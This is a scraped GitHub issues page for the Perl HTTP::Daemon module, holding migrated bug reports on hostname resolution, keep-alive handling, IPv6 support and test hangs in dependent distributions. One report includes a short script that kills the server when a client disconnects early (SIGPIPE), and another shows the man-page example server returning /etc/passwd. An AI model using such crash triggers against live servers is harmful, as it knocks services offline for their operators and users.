libwww-perl / http-daemon Goto Github PK
View Code? Open in Web Editor NEWA simple http server class
Home Page: http://metacpan.org/release/HTTP-Daemon/
License: Other
http-daemon's Issues
HTTP::Daemon::ClientConn should be decoupled from HTTP::Daemon [rt.cpan.org #7466]
Migrated from rt.cpan.org#7466 (status was 'new')
Requestors:
From [email protected] on 2004-08-25 02:33:47
:
I guess this is best classified as a "Wishlist item."
HTTP::Daemon::ClientConn should be decoupled from HTTP::Daemon, which
would allow users to use HTTP::Daemon::ClientConn (which contains the
bulk of the code) with other daemon modules (such as Net::Daemon,
Net::Server, etc.).
As it is now, you can pull this off by subclassing HTTP::Daemon and
re-implementing a bunch of its methods, but that seems unnecessarily
messy. (I took this approach when using HTTP::Daemon to build a proxy
server along with Net::Server.)
It appears that HTTP::Daemon::ClientConn could be tweaked to reduce or
eliminate the coupling.
I'd be happy to donate the code to do this, if there is interest. (I
don't want to do this on speculation, as I don't think it is significant
enough to warrant forking the module, and in my experience, module
maintainers are usually reluctant to accept patches of this nature if
they don't fit their vision of how the module should be architected.)
-Tom
Sometimes cannot be accessed via $d->url
Documentation says
=item $d->url
Returns a URL string that can be used to access the server root.
But, it happens that we cannot access the server via $d->url.
In fact,
- we had to set '127.0.0.1' or '[::1]' in WWW-Mechanize's test.
- Test-Smoke/t/poster-post.t forces to set
127.0.0.1.
From the comments from eserte and jkeenan, this may happen on BSD machines, not on linux or macOS.
We should fix this, and allow people to use $d->url as it is.
Release for CVE-2022-31081?
Can you please make a release that includes the fix for CVE-2022-31081?
Thanks.
Two enhancement requests
Thanks for creating HTTP::Daemon. I have been using it in my projects.
Recently I found the need for two features I wonder if they are available.
- Can the Daemon (as sockets) work with other plain TCP socket (IO::Socket::INET) via IO::Select? In another word, I want the daemon to act both as HTTP server and regular TCP server at the same time
- Can I have websocket functionality on it?
Thanks in advance,
HTTP::Daemon always resolves server hostname from IP [rt.cpan.org #19123]
Migrated from rt.cpan.org#19123 (status was 'open')
Requestors:
From on 2006-05-07 00:00:18
:
HTTP::Daemon in sub url (aka $self->daemon->url) always resolves the IP
to a hostname, even if the IP was specified.
if (!$addr || $addr eq INADDR_ANY) {
require Sys::Hostname;
$url .= lc Sys::Hostname::hostname();
}
else {
$url .= gethostbyaddr($addr, AF_INET) || inet_ntoa($addr);
}
This is a problem because the server may be having the ports forwarded
to it from a firewall, ie the external address of the server may not be
the correct address for the clients to connect to.
This causes problems for instance in ->redirect if relative paths are
specified. It is possible to work around the problem by either
specifying full paths in redirects or by setting the server hostname to
be the IP of the external interface.
It would be better if HTTP::Daemon could simply make a check for a
config flag, before executing the block that resolves the hostname.
Or it could simply use whatever address is specified, if one has been
manually specified, not performing the lookup.
It seems safer that the default should be to not do the lookup, and that
reverse lookups should require a config flag.
From on 2006-05-07 00:02:36
:
Can you please obfuscate or remove my email in the bug report? I didn't
expect that it would be printed as is for any bot to spam.
From on 2006-05-07 00:28:57
:
> This causes problems for instance in ->redirect if relative paths are
> specified. It is possible to work around the problem by either
> specifying full paths in redirects or by setting the server hostname to
> be the IP of the external interface.
>
By the way, the hostname hack (by which i mean the altering the
system-wide hostname) is not a particularly good idea, some other
services may open themselves up in ways they wouldn't normally, eg X
appears to automatically authenticate connections on any IPs it can
resolve your hostname to ... at least it does on slackware.
:)
Terminates after sigpipe if client close connection [rt.cpan.org #85904]
Migrated from rt.cpan.org#85904 (status was 'new')
Requestors:
From [email protected] on 2013-06-05 19:36:40
:
This behaviour is observed at least last ~5 years, so I am not sure maybe it's a feature.
I can submit PoC if required.
From [email protected] on 2014-06-10 19:11:29
:
On Wed Jun 05 23:36:40 2013, vsespb wrote:
> This behaviour is observed at least last ~5 years, so I am not sure
> maybe it's a feature.
>
> I can submit PoC if required.
====
use strict;
use warnings;
use HTTP::Daemon;
my $PORT = 55001;
if (fork()) { # parent
#$SIG{PIPE}=sub{die "HEY\n";};
my $d = HTTP::Daemon->new(Timeout => 20, LocalAddr => '127.0.0.1', LocalPort => $PORT);
while (my $c = $d->accept) {
my $r = $c->get_request;
my $body = "x" x 100_000;
my $resp = HTTP::Response->new(200, 'OK', [], $body);
$c->send_response($resp);
print STDERR "sent\n";
$c = undef; # close connection
}
print "DONE\n";
wait;
} else { # child
my $sock = IO::Socket::INET->new(PeerAddr => '127.0.0.1', PeerPort => $PORT, Proto => 'tcp');
print $sock "GET /\n\n";
close $sock;
}
====
perl daemonpoc.pl || echo $?
will print 141. this means SIGPIPE (SIGPIPE number is 13 + 128 = 141).
also if you uncomment
#$SIG{PIPE}=sub{die "HEY\n";};
it will print "HEY"
I think it something that should be at least documented.
people who use high level API like $c->send_response($resp); have insperation that they don't do low level things like writings to the sockets, so they are not expect they need to handle SIGPIPE.
libhttp-daemon-perl: HTTP::Daemon doesn't report keep-alive connection to HTTP/1.0 clients [rt.cpan.org #93722]
Migrated from rt.cpan.org#93722 (status was 'new')
Requestors:
From [email protected] on 2014-03-10 21:14:40
:
This bug has been forwarded from http://bugs.debian.org/324539
-->-->-->-->-->-->-->-->-->-->-->-->-->-->-->-->-->-->-->-->
Package: libwww-perl
Version: 5.803-4
Severity: normal
When an HTTP/1.0 client requests persistent connections, HTTP::Daemon
respects the request, but doesn't indicate to the client that the resulting
connection is keep-alive. Assuming the server example from the man page,
the conversation looks like this:
$ nc mulj 32790
GET /xyzzy HTTP/1.0
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Mon, 22 Aug 2005 16:45:53 GMT
Server: libwww-perl-daemon/1.36
Content-Type: text/plain
Content-Length: 1329
Last-Modified: Mon, 14 Feb 2005 00:36:13 GMT
... contents of /etc/passwd ...
[ client hangs waiting for output ]
The problem is that the server didn't indicate a persistent connection by
sending the appropriate Connection header with the response. This made the
HTTP/1.0 client think that the server didn't understand the keep-alive
request and it simply read the response until EOF -- which never came. This
problem exists with Wget prior to 1.10.1 when interacting with HTTP::Daemon
servers.
While assuming persistent connections is correct in HTTP/1.1, it is not the
case in HTTP/1.0, where persistent connections exist only as an extension
that must be explicitly negotiated between and understood by both the client
and the server. If the server doesn't respond with the appropriate token,
the HTTP/1.0 client must assume that it is talking to a server that doesn't
understand persistent connections and behave accordingly.
To summarize: when dealing with HTTP/1.0 clients requesting persistent
connections, HTTP::Daemon should either include "Connection: Keep-Alive" in
the response or not use persistent connections at all. The former is
obviously preferrable.
-- System Information:
Debian Release: testing/unstable
APT prefers testing
APT policy: (500, 'testing')
Architecture: i386 (i686)
Shell: /bin/sh linked to /bin/bash
Kernel: Linux 2.6.11-1-686
Locale: LANG=en_US, LC_CTYPE=en_US (charmap=ISO-8859-1)
Versions of packages libwww-perl depends on:
pn libdigest-md5-perl <none> (no description available)
ii libhtml-parser-perl 3.45-2 A collection of modules that parse
ii libhtml-tree-perl 3.18-1 represent and create HTML syntax t
ii liburi-perl 1.35-1 Manipulates and accesses URI strin
ii perl [libmime-base64-perl] 5.8.7-3 Larry Wall's Practical Extraction
ii perl-modules [libnet-perl] 5.8.7-3 Core Perl modules
Versions of packages libwww-perl recommends:
pn libcompress-zlib-perl <none> (no description available)
pn libhtml-format-perl <none> (no description available)
ii libmailtools-perl 1.62-1 Manipulate email in perl programs
-- no debconf information
<--<--<--<--<--<--<--<--<--<--<--<--<--<--<--<--<--<--<--<--
Thanks in advance,
Daniel Lintott, Debian Perl Group
HTTP-Daemon-6.05 breaks WWW::Mechanize
CPANtester Carlos Guevara informed me yesterday that tests of WWW::Mechanize were hanging on various smoke rigs he runs. I confirmed his hunch that the failing tests are run only when HTTP::Daemon is already installed against the underlying perl. The failure will look like this:
$ bleadprove -vb t/local/referer.t
t/local/referer.t ..
1..13
ok 1 - use WWW::Mechanize;
ok 2 - An object of class 'WWW::Mechanize' isa 'WWW::Mechanize'
Error GETing http://127.0.0.1:65263/: Can't connect to 127.0.0.1:65263 (Connection refused) at t/local/referer.t line 39.
At this point the test process hangs indefinitely; it does not die. If this installation is being attempted as part of use of a CPAN installer like cpanm or if module installation is being attempted in dependency order, then the human running the process has to intervene with a Ctrl-C.
We first hypthosized that this was a Blead Breaks CPAN problem. After considerable work -- because of the need to manually kill hanging processes -- we found that this was occurring as far back as perl-5.30.0. But Carlos's smokers only began to hang in the past few days.
Our attention turned to HTTP-Daemon, which is required for WWW-Mechanize's tests and for the failing test in particular. My analysis suggests that there is a problem with HTTP-Daemon-6.05 that is not being detected by the distro's own test suite but which does appear in that of WWW-Mechanize.
To reproduce:
- Install perl 5 blead (though perl-5.31.2 would probably suffice); install
cpanmagainst it. - Get the previous version of HTTP-Daemon from CPAN:
$ wget ftp://ftp.cpan.org/pub/CPAN/modules/by-module/HTTP/HTTP-Daemon-6.04.tar.gz
- Install it against that perl.
$ ./bin/cpanm HTTP-Daemon-6.04.tar.gz
- Confirm that we still have older version of Daemon
$ ./bin/perl -Ilib -MHTTP::Daemon -E 'say $HTTP::Daemon::VERSION;'
6.04
- Install other prerequisites for WWW-Mechanize ... but not Daemon and not Mechanize
$ ./bin/cpanm Test::Deep HTTP::Request HTML::HeadParser LWP::Simple URI::Escape \
HTML::TreeBuilder HTTP::Request::Common URI HTTP::Response URI::URL LWP CGI \
URI::file HTML::TokeParser Test::Fatal Test::Warnings LWP::UserAgent HTML::Form \
Test::Output HTTP::Server::Simple::CGI HTTP::Cookies URI::URL
- Re-confirm that we still have older version of Daemon
./bin/perl -Ilib -MHTTP::Daemon -E 'say $HTTP::Daemon::VERSION;'
- Test WWW::Mechanize; no need to install it yet
$ ./bin/cpanm --test-only WWW::Mechanize
--> Working on WWW::Mechanize
Fetching http://www.cpan.org/authors/id/O/OA/OALDERS/WWW-Mechanize-1.91.tar.gz ... OK
Configuring WWW-Mechanize-1.91 ... OK
Building and testing WWW-Mechanize-1.91 ... OK
Successfully tested WWW-Mechanize-1.91
- Re-confirm that we still have older version of Daemon
./bin/perl -Ilib -MHTTP::Daemon -E 'say $HTTP::Daemon::VERSION;'
- Install newer version of HTTP::Daemon
$ ./bin/cpanm HTTP::Daemon
- Confirm that we have newer version of Daemon
./bin/perl -Ilib -MHTTP::Daemon -E 'say $HTTP::Daemon::VERSION;'
6.05
- Re-test WWW::Mechanize now that we have newer Daemon
$ ./bin/cpanm --verbose --test-only WWW::Mechanize
...
t/local/back.t ........................... ok
t/local/click.t .......................... ok
t/local/click_button.t ................... ok
t/local/content.t ........................ 1/10 # Running tests against http://127.0.0.1:35460/?xml=1
t/local/content.t ........................ ok
t/local/encoding.t ....................... ok
t/local/failure.t ........................ ok
t/local/follow.t ......................... ok
t/local/form.t ........................... ok
t/local/get.t ............................ ok
t/local/nonascii.t ....................... ok
t/local/overload.t ....................... skipped: Mysteriously stopped passing, and I don't know why.
t/local/page_stack.t ..................... ok
t/local/post.t ........................... ok
t/local/referer.t ........................ 1/13 Error GETing http://127.0.0.1:33348/: Can't connect to 127.0.0.1:33348 (Connection refused) at t/local/referer.t line 39.
HANG
- Reproduce the hang
$ bleadprove -vb t/local/referer.t
t/local/referer.t ..
1..13
ok 1 - use WWW::Mechanize;
ok 2 - An object of class 'WWW::Mechanize' isa 'WWW::Mechanize'
Error GETing http://127.0.0.1:65263/: Can't connect to 127.0.0.1:65263 (Connection refused) at t/local/referer.t line 39.
- Manually run the WWW::Mechanize tests blocked by the hang
$ cd ~/.cpanm/latest-build/WWW-Mechanize-1.91
$ bleadprove -vb t/local/reload.t t/local/submit.t
t/local/reload.t ..
1..15
ok 1 - use WWW::Mechanize;
ok 2 - An object of class 'LocalServer' isa 'LocalServer'
ok 3 - 'Created object' isa 'WWW::Mechanize'
ok 4 - Initial reload should fail
ok 5 - An object of class 'HTTP::Response' isa 'HTTP::Response'
ok 6 - Get google webpage
ok 7 - Valid HTML
ok 8
ok 9
ok 10 - Not HTML
ok 11 - An object of class 'HTTP::Response' isa 'HTTP::Response'
ok 12 - Valid HTML
ok 13 - WWW::Mechanize test page
ok 14 - cookies are not multiplied
ok 15 # skip Test::Memory::Cycle not installed
ok
t/local/submit.t ..
1..13
ok 1 - use WWW::Mechanize;
ok 2 - An object of class 'LocalServer' isa 'LocalServer'
ok 3 - 'Created the object' isa 'WWW::Mechanize'
ok 4 - 'Got back a response' isa 'HTTP::Response'
ok 5 - Got the correct page
ok 6 - Got local page
ok 7 - is HTML
ok 8 - Hopefully no upload happens
ok 9 - 'Got back a response' isa 'HTTP::Response'
ok 10 - Can click "submit" ("submit" button)
ok 11 - Found "Foo"
ok 12 - No upload happens
ok 13 # skip Test::Memory::Cycle not installed
ok
All tests successful.
Files=2, Tests=28, 8 wallclock secs ( 0.04 usr 0.01 sys + 0.59 cusr 0.14 csys = 0.78 CPU)
Result: PASS
$ perl -V
Summary of my perl5 (revision 5 version 31 subversion 3) configuration:
Commit id: 82007f754ed1e129a53fc7c964d84cddba7ca0de
Platform:
osname=freebsd
osvers=11.2-stable
archname=amd64-freebsd-thread-multi
uname='freebsd perlmonger.nycbug.org 11.2-stable freebsd 11.2-stable #0 r339445: sat oct 20 00:08:11 utc 2018 [email protected]:usrobjusrsrcsysgeneric amd64 '
config_args='-des -Dusedevel -Uversiononly -Dprefix=/home/jkeenan/testing/blead -Dman1dir=none -Dman3dir=none -Duseithreads -Doptimize=-O2 -pipe -fstack-protector -fno-strict-aliasing'
hint=recommended
useposix=true
d_sigaction=define
useithreads=define
usemultiplicity=define
use64bitint=define
use64bitall=define
uselongdouble=undef
usemymalloc=n
default_inc_excludes_dot=define
bincompat5005=undef
Compiler:
cc='cc'
ccflags ='-DHAS_FPSETMASK -DHAS_FLOATINGPOINT_H -fno-strict-aliasing -pipe -fstack-protector-strong -I/usr/local/include -D_FORTIFY_SOURCE=2'
optimize='-O2 -pipe -fstack-protector -fno-strict-aliasing'
cppflags='-DHAS_FPSETMASK -DHAS_FLOATINGPOINT_H -fno-strict-aliasing -pipe -fstack-protector-strong -I/usr/local/include'
ccversion=''
gccversion='4.2.1 Compatible FreeBSD Clang 6.0.1 (tags/RELEASE_601/final 335540)'
gccosandvers=''
intsize=4
longsize=8
ptrsize=8
doublesize=8
byteorder=12345678
doublekind=3
d_longlong=define
longlongsize=8
d_longdbl=define
longdblsize=16
longdblkind=3
ivtype='long'
ivsize=8
nvtype='double'
nvsize=8
Off_t='off_t'
lseeksize=8
alignbytes=8
prototype=define
Linker and Libraries:
ld='cc'
ldflags ='-pthread -Wl,-E -fstack-protector-strong -L/usr/local/lib'
libpth=/usr/lib /usr/local/lib /usr/lib/clang/6.0.1/lib /usr/lib
libs=-lpthread -lgdbm -ldl -lm -lcrypt -lutil
perllibs=-lpthread -ldl -lm -lcrypt -lutil
libc=
so=so
useshrplib=false
libperl=libperl.a
gnulibc_version=''
Dynamic Linking:
dlsrc=dl_dlopen.xs
dlext=so
d_dlsymun=undef
ccdlflags=' '
cccdlflags='-DPIC -fPIC'
lddlflags='-shared -L/usr/local/lib -fstack-protector-strong'
Characteristics of this binary (from libperl):
Compile-time options:
HAS_TIMES
MULTIPLICITY
PERLIO_LAYERS
PERL_COPY_ON_WRITE
PERL_DONT_CREATE_GVSV
PERL_IMPLICIT_CONTEXT
PERL_MALLOC_WRAP
PERL_OP_PARENT
PERL_PRESERVE_IVUV
PERL_USE_DEVEL
USE_64_BIT_ALL
USE_64_BIT_INT
USE_ITHREADS
USE_LARGE_FILES
USE_LOCALE
USE_LOCALE_COLLATE
USE_LOCALE_CTYPE
USE_LOCALE_NUMERIC
USE_LOCALE_TIME
USE_PERLIO
USE_PERL_ATOF
USE_REENTRANT_API
Built under freebsd
Compiled at Jul 30 2019 23:20:52
Can you investigate?
Thank you very much.
Jim Keenan
[PATCH] Documentation - content-type header [rt.cpan.org #82313]
Migrated from rt.cpan.org#82313 (status was 'open')
Requestors:
Attachments:
From [email protected] on 2012-12-29 00:39:22
:
Could I suggest the attached patch for the documentation please? I spent
a while searching the internet for the best way to add a content-type
header; seeing as everyone will almost certainly want to do this, I
think an example would be good in the main documentation.
Many thanks.
From [email protected] on 2014-12-29 14:31:52
:
Is there any chance of getting this fixed please? It's preventing
automatic building with Debian, as debhelper appears to use
-Werror=format-security by default, which forces the build to fail with
this potential security problem highlighted.
Thanks!
From [email protected] on 2014-12-29 14:37:06
:
Sorry, ignore that, sent to the wrong bug number...
From [email protected] on 2015-02-11 11:52:45
:
On 2012-12-28 19:39:22, abeverley wrote:
> Could I suggest the attached patch for the documentation please? I spent
> a while searching the internet for the best way to add a content-type
> header; seeing as everyone will almost certainly want to do this, I
> think an example would be good in the main documentation.
It looks like this issue should be migrated to https://rt.cpan.org/Dist/Display.html?Name=HTTP-Daemon
HTTP::Daemon->new runs daemon on random port [rt.cpan.org #83854]
Migrated from rt.cpan.org#83854 (status was 'open')
Requestors:
From http://openid.yandex.ru/omerta13/ on 2013-03-09 19:51:07
:
Distribution: RPC-XML-0.77
Perl version: 5.14.2
OS: Mageia GNU/Linux 2 (x64); kernel 3.3.8
Description:
I tried to pass invalid port 65536. HTTP::Daemon->new(LocalPort =>
65536) opens connection on random port instead of return undef, because
valid ports must be >= 0 and <= 65535.
If you pass port "0", HTTP::Daemon->new(LocalPort => 0) also will return
ref to daemon object opened on random port.
Example:
use HTTP::Daemon;
my $d = HTTP::Daemon->new(LocalPort => 65536) || die;
print "Please contact me at: <URL:", $d->url, ">\n";
Output:
Please contact me at: <URL:http://localhost:52712/>
From http://openid.yandex.ru/omerta13/ on 2013-03-09 20:16:10
:
On Sat Mar 09 14:51:07 2013, http://openid.yandex.ru/omerta13/ wrote:
> Distribution: RPC-XML-0.77
Oops. Distribution: HTTP-Daemon-6.01
From http://openid.yandex.ru/omerta13/ on 2013-03-09 20:25:47
:
It seems it's a problem with IO::Socket::INET (I've opened
https://rt.perl.org/rt3/Public/Bug/Display.html?id=117107)
From http://openid.yandex.ru/omerta13/ on 2013-03-15 08:22:11
:
С�б �а� 09 15:25:47 2013, http://openid.yandex.ru/omerta13/ пи�ал:
> It seems it's a problem with IO::Socket::INET (I've opened
> https://rt.perl.org/rt3/Public/Bug/Display.html?id=117107)
It's not a bug. Please, close it.
HTTP::Daemon 6.06 breaks Test-Smoke's t/poster-post.t
If HTTP::Daemon 6.06 is installed on a machine and I then proceed to build and test the latest (version 1.74) Test-Smoke distribution from CPAN, Test-Smoke's t/poster-post.t FAILs. According to @eserte, this problem began with HTTP::Daemon 6.05. If an older version of HTTP::Daemon is installed, these t/poster-post.t PASSes.
Today I went to upgrade my smoke-testing rig on FreeBSD-11. Vendor perl is 5.28. Installed version of HTTP::Daemon is 6.01. Test-Smoke PASSed and was upgraded.
Then I had occasion to examine http://matrix.cpantesters.org/?dist=Test-Smoke. Note the red ink. After consultation with Slaven, I did an install of Test-Smoke in a non-permanent PREFIX directory against blead perl with HTTP::Daemon 6.06 installed.
$ bleadperl -v | head -2 | tail -1
This is perl 5, version 31, subversion 12 (v5.31.12 (v5.31.11-17-g8100f3cd3c)) built for amd64-freebsd-thread-multi
$ bleadperl -V:config_args
config_args='-des -Dusedevel -Uversiononly -Dprefix=/home/jkeenan/testing/blead -Dman1dir=none -Dman3dir=none -Duseithreads -Doptimize=-O2 -pipe -fstack-protector -fno-strict-aliasing';
$ bleadperl -MHTTP::Daemon -E 'say qq|$HTTP::Daemon::VERSION|;'
6.06
$ bleadprove -V
TAP::Harness v3.42 and Perl v5.31.12
$ bleadprove -vb t/poster-post.t
t/poster-post.t ..
# Temporary daemon at: http://127.0.0.1:29776/
ok 1 # skip Could not load LWP::UserAgent
ok 2 # skip Could not load LWP::UserAgent
ok 3 # skip Could not load LWP::UserAgent
ok 4 - An object of class 'Test::Smoke::Poster::Curl' isa 'Test::Smoke::Poster::Curl'
ok 5 - write_json
not ok 6 - Got id
# Failed test 'Got id'
# at t/poster-post.t line 123.
# got: '[]: malformed JSON string, neither array, object, number, string or atom, at character offset 0 (before "(end of string)") at /usr/home/jkeenan/gitwork/zzzothers/Test-Smoke/blib/lib/Test/Smoke/Poster/Base.pm line 146.
# at /usr/home/jkeenan/gitwork/zzzothers/Test-Smoke/blib/lib/Test/Smoke/Poster/Base.pm line 147.
# Test::Smoke::Poster::Base::post(Test::Smoke::Poster::Curl=HASH(0x803332c90)) called at t/poster-post.t line 121
# eval {...} called at t/poster-post.t line 121
# '
# expected: '42'
ok 7 - An object of class 'Test::Smoke::Poster::HTTP_Tiny' isa 'Test::Smoke::Poster::HTTP_Tiny'
ok 8 - write_json
not ok 9 - Got id
# Failed test 'Got id'
# at t/poster-post.t line 143.
# got: '[]: malformed JSON string, neither array, object, number, string or atom, at character offset 0 (before "(end of string)") at /usr/home/jkeenan/gitwork/zzzothers/Test-Smoke/blib/lib/Test/Smoke/Poster/Base.pm line 146.
# at /usr/home/jkeenan/gitwork/zzzothers/Test-Smoke/blib/lib/Test/Smoke/Poster/Base.pm line 147.
# Test::Smoke::Poster::Base::post(Test::Smoke::Poster::HTTP_Tiny=HASH(0x805347af8)) called at t/poster-post.t line 141
# eval {...} called at t/poster-post.t line 141
# '
# expected: '42'
ok 10 # skip Could not load HTTP::Lite
ok 11 # skip Could not load HTTP::Lite
ok 12 # skip Could not load HTTP::Lite
not ok 13 - no warnings
# Failed test 'no warnings'
# at t/poster-post.t line 168.
# There were 2 warning(s)
# Previous test 5 'write_json'
# Use of uninitialized value $response_body in concatenation (.) or string at /usr/home/jkeenan/gitwork/zzzothers/Test-Smoke/blib/lib/Test/Smoke/Poster/Base.pm line 147.
# at /usr/home/jkeenan/gitwork/zzzothers/Test-Smoke/blib/lib/Test/Smoke/Poster/Base.pm line 147.
# Test::Smoke::Poster::Base::post(Test::Smoke::Poster::Curl=HASH(0x803332c90)) called at t/poster-post.t line 121
# eval {...} called at t/poster-post.t line 121
#
# ----------
# Previous test 8 'write_json'
# Use of uninitialized value $response_body in concatenation (.) or string at /usr/home/jkeenan/gitwork/zzzothers/Test-Smoke/blib/lib/Test/Smoke/Poster/Base.pm line 147.
# at /usr/home/jkeenan/gitwork/zzzothers/Test-Smoke/blib/lib/Test/Smoke/Poster/Base.pm line 147.
# Test::Smoke::Poster::Base::post(Test::Smoke::Poster::HTTP_Tiny=HASH(0x805347af8)) called at t/poster-post.t line 141
# eval {...} called at t/poster-post.t line 141
#
1..13
# tear down: 44390
# Looks like you failed 3 tests of 13.
Dubious, test returned 3 (wstat 768, 0x300)
Failed 3/13 subtests
(less 6 skipped subtests: 4 okay)
Test Summary Report
-------------------
t/poster-post.t (Wstat: 768 Tests: 13 Failed: 3)
Failed tests: 6, 9, 13
Non-zero exit status: 3
Files=1, Tests=13, 0 wallclock secs ( 0.06 usr 0.01 sys + 0.23 cusr 0.02 csys = 0.31 CPU)
Result: FAIL
In t/poster-post.t there are a number of SKIP blocks where tests are not run if either LWP::UserAgent or HTTP::Lite is not installed. However, installing those two modules against that perl only increased the number of test failures in t/poster-post.t.
$ bleadperl -MLWP::UserAgent -E 'say qq|$LWP::UserAgent::VERSION|;'
6.44
$ bleadperl -MHTTP::Lite -E 'say qq|$HTTP::Lite::VERSION|;'
2.44
$ bleadprove -vb t/poster-post.t
t/poster-post.t ..
# Temporary daemon at: http://127.0.0.1:53632/
ok 1 - An object of class 'Test::Smoke::Poster::LWP_UserAgent' isa 'Test::Smoke::Poster::LWP_UserAgent'
ok 2 - write_json
not ok 3 - Got id
# Failed test 'Got id'
# at t/poster-post.t line 101.
# got: '[]: malformed JSON string, neither array, object, number, string or atom, at character offset 0 (before "Can't connect to 127...") at /usr/home/jkeenan/gitwork/zzzothers/Test-Smoke/blib/lib/Test/Smoke/Poster/Base.pm line 146.
# at /usr/home/jkeenan/gitwork/zzzothers/Test-Smoke/blib/lib/Test/Smoke/Poster/Base.pm line 147.
# Test::Smoke::Poster::Base::post(Test::Smoke::Poster::LWP_UserAgent=HASH(0x803333c90)) called at t/poster-post.t line 99
# eval {...} called at t/poster-post.t line 99
# '
# expected: '42'
ok 4 - An object of class 'Test::Smoke::Poster::Curl' isa 'Test::Smoke::Poster::Curl'
ok 5 - write_json
not ok 6 - Got id
# Failed test 'Got id'
# at t/poster-post.t line 123.
# got: '[]: malformed JSON string, neither array, object, number, string or atom, at character offset 0 (before "(end of string)") at /usr/home/jkeenan/gitwork/zzzothers/Test-Smoke/blib/lib/Test/Smoke/Poster/Base.pm line 146.
# at /usr/home/jkeenan/gitwork/zzzothers/Test-Smoke/blib/lib/Test/Smoke/Poster/Base.pm line 147.
# Test::Smoke::Poster::Base::post(Test::Smoke::Poster::Curl=HASH(0x80535f9a8)) called at t/poster-post.t line 121
# eval {...} called at t/poster-post.t line 121
# '
# expected: '42'
ok 7 - An object of class 'Test::Smoke::Poster::HTTP_Tiny' isa 'Test::Smoke::Poster::HTTP_Tiny'
ok 8 - write_json
not ok 9 - Got id
# Failed test 'Got id'
# at t/poster-post.t line 143.
# got: '[]: malformed JSON string, neither array, object, number, string or atom, at character offset 0 (before "(end of string)") at /usr/home/jkeenan/gitwork/zzzothers/Test-Smoke/blib/lib/Test/Smoke/Poster/Base.pm line 146.
# at /usr/home/jkeenan/gitwork/zzzothers/Test-Smoke/blib/lib/Test/Smoke/Poster/Base.pm line 147.
# Test::Smoke::Poster::Base::post(Test::Smoke::Poster::HTTP_Tiny=HASH(0x805395120)) called at t/poster-post.t line 141
# eval {...} called at t/poster-post.t line 141
# '
# expected: '42'
ok 10 - An object of class 'Test::Smoke::Poster::HTTP_Lite' isa 'Test::Smoke::Poster::HTTP_Lite'
ok 11 - write_json
not ok 12 - Got id
# Failed test 'Got id'
# at t/poster-post.t line 163.
# got: '[]: CoreSmokeDB: Connection refused at t/poster-post.t line 161.
# at /usr/home/jkeenan/gitwork/zzzothers/Test-Smoke/blib/lib/Test/Smoke/Poster/Base.pm line 147.
# Test::Smoke::Poster::Base::post(Test::Smoke::Poster::HTTP_Lite=HASH(0x805a99750)) called at t/poster-post.t line 161
# eval {...} called at t/poster-post.t line 161
# '
# expected: '42'
not ok 13 - no warnings
# Failed test 'no warnings'
# at t/poster-post.t line 168.
# There were 4 warning(s)
# Previous test 2 'write_json'
# Use of uninitialized value $response_body in concatenation (.) or string at /usr/home/jkeenan/gitwork/zzzothers/Test-Smoke/blib/lib/Test/Smoke/Poster/Base.pm line 147.
# at /usr/home/jkeenan/gitwork/zzzothers/Test-Smoke/blib/lib/Test/Smoke/Poster/Base.pm line 147.
# Test::Smoke::Poster::Base::post(Test::Smoke::Poster::LWP_UserAgent=HASH(0x803333c90)) called at t/poster-post.t line 99
# eval {...} called at t/poster-post.t line 99
#
# ----------
# Previous test 5 'write_json'
# Use of uninitialized value $response_body in concatenation (.) or string at /usr/home/jkeenan/gitwork/zzzothers/Test-Smoke/blib/lib/Test/Smoke/Poster/Base.pm line 147.
# at /usr/home/jkeenan/gitwork/zzzothers/Test-Smoke/blib/lib/Test/Smoke/Poster/Base.pm line 147.
# Test::Smoke::Poster::Base::post(Test::Smoke::Poster::Curl=HASH(0x80535f9a8)) called at t/poster-post.t line 121
# eval {...} called at t/poster-post.t line 121
#
# ----------
# Previous test 8 'write_json'
# Use of uninitialized value $response_body in concatenation (.) or string at /usr/home/jkeenan/gitwork/zzzothers/Test-Smoke/blib/lib/Test/Smoke/Poster/Base.pm line 147.
# at /usr/home/jkeenan/gitwork/zzzothers/Test-Smoke/blib/lib/Test/Smoke/Poster/Base.pm line 147.
# Test::Smoke::Poster::Base::post(Test::Smoke::Poster::HTTP_Tiny=HASH(0x805395120)) called at t/poster-post.t line 141
# eval {...} called at t/poster-post.t line 141
#
# ----------
# Previous test 11 'write_json'
# Use of uninitialized value $response_body in concatenation (.) or string at /usr/home/jkeenan/gitwork/zzzothers/Test-Smoke/blib/lib/Test/Smoke/Poster/Base.pm line 147.
# at /usr/home/jkeenan/gitwork/zzzothers/Test-Smoke/blib/lib/Test/Smoke/Poster/Base.pm line 147.
# Test::Smoke::Poster::Base::post(Test::Smoke::Poster::HTTP_Lite=HASH(0x805a99750)) called at t/poster-post.t line 161
# eval {...} called at t/poster-post.t line 161
#
1..13
# tear down: 37914
# Looks like you failed 5 tests of 13.
Dubious, test returned 5 (wstat 1280, 0x500)
Failed 5/13 subtests
Test Summary Report
-------------------
t/poster-post.t (Wstat: 1280 Tests: 13 Failed: 5)
Failed tests: 3, 6, 9, 12-13
Non-zero exit status: 5
Files=1, Tests=13, 1 wallclock secs ( 0.03 usr 0.00 sys + 0.26 cusr 0.03 csys = 0.32 CPU)
Result: FAIL
Can you investigate?
Thank you very much.
Jim Keenan
Extend IO::Socket::IP to replace ::INET [rt.cpan.org #91699]
Migrated from rt.cpan.org#91699 (status was 'open')
Requestors:
Attachments:
- 0001-Add-IPv6-support.patch
- 0001-Add-IPv6-support.patch
- HTTP-Daemon-6.01-Handle-undef-and-empty-LocalAddr.patch
- HTTP-Daemon-6.01-Handle-undef-and-empty-LocalAddr.patch
From [email protected] on 2013-12-28 01:38:25
:
The HTTP::Daemon::ClientConn is based on a IO::Socket::INET object, which is a pity because that does not support IPv6. The ::IP implementation is a drop-in replacement.
From [email protected] on 2017-01-16 16:49:48
:
Dne Pá 27.pro.2013 20:38:25, MARKOV napsal(a):
> The HTTP::Daemon::ClientConn is based on a IO::Socket::INET object,
> which is a pity because that does not support IPv6. The ::IP
> implementation is a drop-in replacement.
Attached patch implements it. Thus is should also fix CPAN RT #71395.
From [email protected] on 2017-01-17 14:06:39
:
Dne Po 16.led.2017 11:49:48, ppisar napsal(a):
> Attached patch implements it. Thus is should also fix CPAN RT #71395.
This patch replaces the previous one. It fixes bad inet_ntop() invocation.
From [email protected] on 2017-09-18 14:01:01
:
Dne �t 17.led.2017 09:06:39, ppisar napsal(a):
> Dne Po 16.led.2017 11:49:48, ppisar napsal(a):
> > Attached patch implements it. Thus is should also fix CPAN RT #71395.
>
> This patch replaces the previous one. It fixes bad inet_ntop() invocation.
